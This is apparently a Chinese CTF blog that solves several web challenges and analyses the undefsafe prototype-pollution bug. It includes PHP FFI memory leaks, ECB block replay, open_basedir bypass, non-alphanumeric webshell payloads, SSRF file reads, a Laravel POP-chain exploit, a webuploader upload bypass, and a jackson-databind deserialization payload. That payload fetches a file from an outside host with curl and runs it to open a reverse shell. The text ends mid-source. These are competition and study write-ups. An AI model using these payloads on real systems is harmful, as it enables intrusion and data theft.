发现flag.h和flag.so文件依旧存在,同时FFI依旧开启,那么尝试load flag.h:
但此时尴尬的点来了,我们不知道c的函数名是什么,因此无法直接调用。同时在使用FFI::cdef时,一直不能正常调用,于是这里我们使用如下操作,可以看到FFI的报错提示:
这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:
发现FFI存在不少和内存相关的函数,这里考虑能不能进行内存泄露,获取函数名,编写exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))
即可获取函数名如下:1
$a = $ffi->flag_wAt3_uP_apA3H1();
使用和上题一样的操作即可获取flag:
题目到手后,界面如下:
简单通过burp抓包分析,发现题目存在5个功能:1
2
3
4
5register
login
buy
info
charge
同时注意到获取flag的条件:
我们必须获得99以上的coin,才可以获取flag,那么分析题目功能,这里主要看buy,info和charge:
buy可以利用api_token获取一串密文。
info可以对密文进行解密,并返回明文:
charge是用来换coin的:
我们尝试篡改所有非enc内容,发现都很难奏效,那么势必需要分析出enc的加密方式,这里从密文切入,我们随便生成了6组密文:1
2
3
4
5
6
7
8
9
10
11/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=
rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=
RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=
8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=
yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=
fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=
发现每组密文的结尾均为一致,这里我猜想其为分组密码,那么我们尝试将其转回16进制:1
2
3
4
5
6
7
8
9
10
11fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598
ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598
44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598
f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598
c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598
7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598
我们发现最后32位均为:f6d2b7dade603f007022388485ecc598,同时总密文长度为256位,此时我们可以猜测最后32位应该均为padding,但这里显然不会考虑密钥爆破,因为32位的密钥太长了,爆出的可能性很小。于是思考分组模式是否可以进行攻击。
这里应该不能猜出,目标可能为ECB分组模式,那么ECB分组模式最普遍的攻击方式,应该为重放攻击,于是我进行了简单测试:1
2
3
4
5
6
73IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=
{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}
我们对如上明密文对进行攻击,想将用户1的lottery替换为用户2的,如此即可扣用户2的lottery,来增加用户1的coin:1
2
3
4
5
6
7
8
9
10
1132
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
我尝试对用户1的密文分组进行逐一替换,当替换128位后,发现我们可以将用户1的lottery替换成用户2的,但是此时user前2位值也会变为用户2的,那么这里即考虑,注册多个user前2位相同的用户,再用ECB重放攻击进行刷钱:1
2
3{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}
对于如上info的2个用户,我们就可以将用户1的lottery替换为用户2的,因为其user开头2位都是2e:
移花接木后,我们可以得到如下info的密文:1
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
尝试进行charge:
发现可以成功charge,重复多次操作,即可增加我们的coin,获取flag:
这是Misc里的一道题,本不应该出现在此,但因为其考察点为web open_basedir bypass(其实是非预期了),所以在这里记录了一下,题目同样是给了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
error_reporting(0);
include 'function.php';
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
if (waf($data)) {
die('waf sucks...');
}
file_put_contents("$dir" . "index.php", $data);
case 'shell':
initShellEnv($dir);
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
同时发现题目运行在php7.4.7:
测试过程中发现,我们input的data被过滤了引号,下划线等字符,这让我们执行代码非常不便,同时phpinfo都被过滤了,于是这里考虑使用无参数函数RCE的方式,我们利用eval(end(getallheaders()))的方式进行偷梁换柱,在http header注入我们想执行的phpcode,以此达成bypass waf的目的:
但是依旧无法使用phpinfo等函数,怀疑是被disable_function给禁了,这里开启报错,来一探究竟:
同时发现我们受限于open basedir:
但是发现sandbox可以任意创建文件,于是想到可以使用chdir来bypass openbasedir:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28import requests
import urllib
url = 'http://pwnable.org:47780/?action=upload&data=%s'
data = "<?=eval(end(getallheaders()));?>"
php_code = r'''error_reporting(3);chdir('/var/www/html/sandbox/53c1fd9bc66d9601edeaa6ec8c52aa38fb6721be/A');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/etc/passwd');'''
headers = {
'a':php_code
}
dir_url = 'http://pwnable.org:47780/?action=pwd'
first_url = url % data
second_url = "http://pwnable.org:47780/?action=shell"
r = requests.get(url=dir_url)
print r.content
r = requests.get(url=first_url,headers=headers)
print urllib.quote(data)
print r.content
r = requests.get(url=second_url,headers=headers)
print r.content
发现可以成功bypass oepn_basedir,读取/etc/passwd:
那么读取根目录的flag文件即可。
近日参加了第五空间的比赛,以下是比赛中Web的所有题解。
拿到题目后,题目给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
不难发现题目中有2项过滤,一个是正则匹配:1
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code))
另一个是黑名单函数禁用:1
2
3
4
5
6$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
这里考虑使用无字母webshell进行bypass,详细文章参考:1
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
我们进行如下构造:1
2var_dump ~%89%9E%8D%A0%9B%8A%92%8F
scandir ~%8C%9C%9E%91%9B%96%8D
然后将其组合在一起,并列举当前目录:1
http://121.36.74.163/?code=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1))
得到回显如下:1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
读取flag.php:1
2readfile %8D%9A%9E%9B%99%96%93%9A
flag.php %99%93%9E%98%D1%8F%97%8F
访问:1
http://121.36.74.163/?code=(~%8D%9A%9E%9B%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)
随即得到flag:1
2
$flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';
题目上来也给予了源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
我们发现index.php中有一个curl的功能,同时提示我们有xxe.php的页面:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|system|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
}
同时看到题目提示main.php和hints.php,那么考虑应该使用XXE进行读取,但有Ip限制:1
2
3if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
因此考虑使用index.php的curl功能进行bypass,进行SSRF+XXE。
但是遗憾的是,在分析题目waf,尝试bypass时,发现题目的一些弊端:1
2
3
4$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
我们看到index.php的限制,发现其没有考虑urldecode的问题,那么导致我们可以使用url编码进行绕过,从而可以使用file或者flag等关键词:1
2
3file:///etc/passwd
%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64
因此,只要可以进行curl请求,那么我们就可以直接读取hints.php或者main.php,题目出现较为严重的非预期。
那么如何使用curl的功能呢?我们同样可以使用url编码进行绕过:1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
至此我们就可以读取任意文件内容了,首先读取file:///etc/passwd,进行测试:1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64
发现页面成功回显,那么尝试读取hints.php,这里使用常见web目录/var/www/html:1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%68%69%6e%74%73%2e%70%68%70
再读main.php:1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%69%6e%2e%70%68%70
发现存在flag.php,于是读取:1
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
随即拿到flag。
又是一道laravel pop chain的寻找题,这题都出烂了啊= =,感觉laraval已经被CTF日穿了,233333.
首先看到laraval版本号:
然而我们最常用的PendingCommand类的destruct方法已经被禁止了。于是搜寻新chain,这里同样还是从destruct方法切入,全局搜索destruct方法,发现如下路径中,存在ImportConfigurator类,其拥有destruct方法:1
Loader/Configurator/ImportConfigurator.php
其中destruct方法中,parent属性调用了addCollection方法,同时parent可控,那么此时如果找到一个拥有call函数的类,并将parent赋值为其对象,即可触发call,于是我们全局搜索call方法:
发现在如下路径中,存在Generator类:1
src/Faker/Generator.php
其具有__call方法,我们再跟进format方法:
发现存在敏感调用点:1
call_user_func_array
至此我们可以想到构造链为:1
2
3
4
5
6
7ImportConfigurator __destruct
->
Generator __call
->
Generator format
->
call_user_func_array
但在简单构造后,我们本地测试,可以发现如下报错:
查看Generator类相应源码:
发现我们可以利用数组进行bypass:1
2
3class Generator{
protected $formatters = array('addCollection'=>'system');
}
那么可以容易构造出如下exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
namespace Faker
{
class Generator{
protected $formatters = array('addCollection'=>'system');
}
}
namespace Symfony\Component\Routing\Loader\Configurator
{
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace RCE
{
$a = new \Faker\Generator();
$b = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'RCE CMD');
$exp = serialize($b);
echo urlencode($exp);
}
首先列目录:
再读根目录:
发现flag文件,并读取:
首先进行目录扫描,发现www.zip文件泄露,随即进行代码审计,发现daochu.php功能非常可疑,同时不需要登录,并且存在sql注入点:1
2
3
4
5
6
7
8
9
10
11if($type==1){
$biao='content';
$result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and imei2="'.$imei2.'"');
echo '<table border="1">';
echo '<tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th></tr>';
while ($row = mysqli_fetch_assoc($result)){
echo "<tr><td>".$row['imei']."</td><td>".$row['imei2']."</td><td>".$row['name']."</td><td>".$row['tel']."</td></tr>";
}
echo '</table>';
}
此时我们发现$type,$imei,$imei2均为可控点:1
2
3
4
5
6
7
8
9
10
11header("Content-type: text/html; charset=utf-8");
require_once('common/Db.php');
header("Content-Type: application/xls");
$type=$_GET['type'];
if($type==1){$a='通讯录';}
if($type==2){$a='短信';}
header("Content-Disposition: attachment; filename=".$_GET['imei']."-".$a.".xls");
header("Pragma: no-cache");
header("Expires: 0");
$imei=$_GET['imei'];
$imei2=$_GET['imei2'];
同时sql查询无过滤,于是尝试读取信息,发现数据库中存在hint表:
在其中得知一个目录信息,在该目录下,我们发现源码中存在的组件lib/webuploader/0.1.5/server/preview.php,可以使用,而在最初的目录是不可用的。
同时该组件存在一些上传漏洞,参考链接如下:1
https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
但是由于过滤了php,于是我们选择使用phtml进行bypass:
题目又给了下一个文件,我们访问后,提示我们需要传入file参数,于是测试:
发现可以读取/etc/passwd,那么尝试读取flag文件:
题目给予了pom.xml的文件,我们查看发现:
题目使用了jackson-databind 2.9.8,但是其存在CVE-2019-12086的隐患。于是可以参考链接:1
https://paper.seebug.org/1227/#71-fnmsd
发现有现成工具可用:1
https://github.com/fnmsd/MySQL_Fake_Server
其可以帮助我们进行反序列化攻击,于是将其部署,同时发现题目存在commons-collections:
于是我们使用ysoserial的CommonsCollections chain进行测试,这里我选择了CommonsCollections5:1
GET /?query={"id"%3a["com.mysql.cj.jdbc.admin.MiniAdmin",+"jdbc%3amysql%3a//vps_ip%3a23334/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections5_bash+-c+{echo,base64_cmd}|{base64,-d}|{bash,-i}"]}
发现可以成功打通,于是执行如下命令,尝试反弹shell1
2curl -o/tmp/evil vps
/bin/bash /tmp/evil
让目标服务器来访问恶意文件并保存至/tmp目录下,再执行进行shell反弹:
然后可以轻松获取flag:1
flag{90d88050-42fc-4dc6-9b10-b40b82e44495}
总的来说,比赛比去年举办的有些意思了,至少没有一直发生宕机,或者出题人自己都不懂题目原理的情况,像laravel的chain的寻找和zzm’s blog的cve复现,感觉都还行~
]]>undefsafe是Nodejs的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在的报错问题,其具有巨大的用户量:
但其在低版本存在原型链污染漏洞。
漏洞版本:< 2.0.3
我们简单测试一下该模块的使用:1
2
3
4
5
6
7
8
9
10
11
12var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object.a.b.e)
// skysec
可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时:1
2console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined
则会得到报错。
在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错( ,那么undefsafe可以帮助我们解决这个问题:1
2
3
4
5
6
7
8
9
10
11console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined
那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回undefined了。
同时在对对象赋值时,如果目标属性存在:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }
我们可以看到,其可以帮助我们修改对应属性的值。
如果当属性不存在时,我们想对该属性赋值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }
访问属性会在上层进行创建并赋值。
但是该模块在小于2.0.3版本,存在原型链污染漏洞:
我们在2.0.3版本下进行测试:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]
但如果在低于2.0.3版本运行,则会得到如下输出:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring
我们发现当undefsafe第2,3个参数可控时,我们可以污染object的值(即第一个参数)。
那么这种攻击有什么用呢?我们简单看一个例子:1
2
3
4
5
6
7
8var a = require("undefsafe");
var test = {}
console.log('this is '+test)
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!
当我们将对象与字符串拼接时,会自动触发toString方法,但由于当前对象test中没有该方法,因此不断向上回溯。当前环境中等同于在test.__proto__
中寻找toString方法:
然后将返回:[object Object]
,并与this is进行拼接。
但是当我们使用undefsafe的时候,可以对原型进行污染,污染前,原型中toString方法为:
污染后:
此时我们进行测试:
我们发现一个空对象和字符串123进行拼接,竟然返回了:1
just a evil!123
那么这就是因为原型链污染导致,当我们调用b对象和字符串拼接时,触发其toString方法,但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。
例如操作:1
2
3
4
5
6var a = require("undefsafe");
var test = {}
var payload = "__proto__.toString";
a(test,payload,"evilstring");
我们跟进undefsafe函数内,第一次赋值在如下时候:
此时我们传入的test,会变成test.__proto__
:
而后会进行递归,至第二次:
此时传入的test的就会变为test.__proto__.toString
:
然后进行赋值:
从而达到原型链污染的目的。
该漏洞在2.0.3版本进行修复,我们看到patch内容如下:
在赋值前增加校验:
发现如果操纵原型,则会返还undefined。
在2020网鼎杯中有一道题正好考察到了这一点:notes.
源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
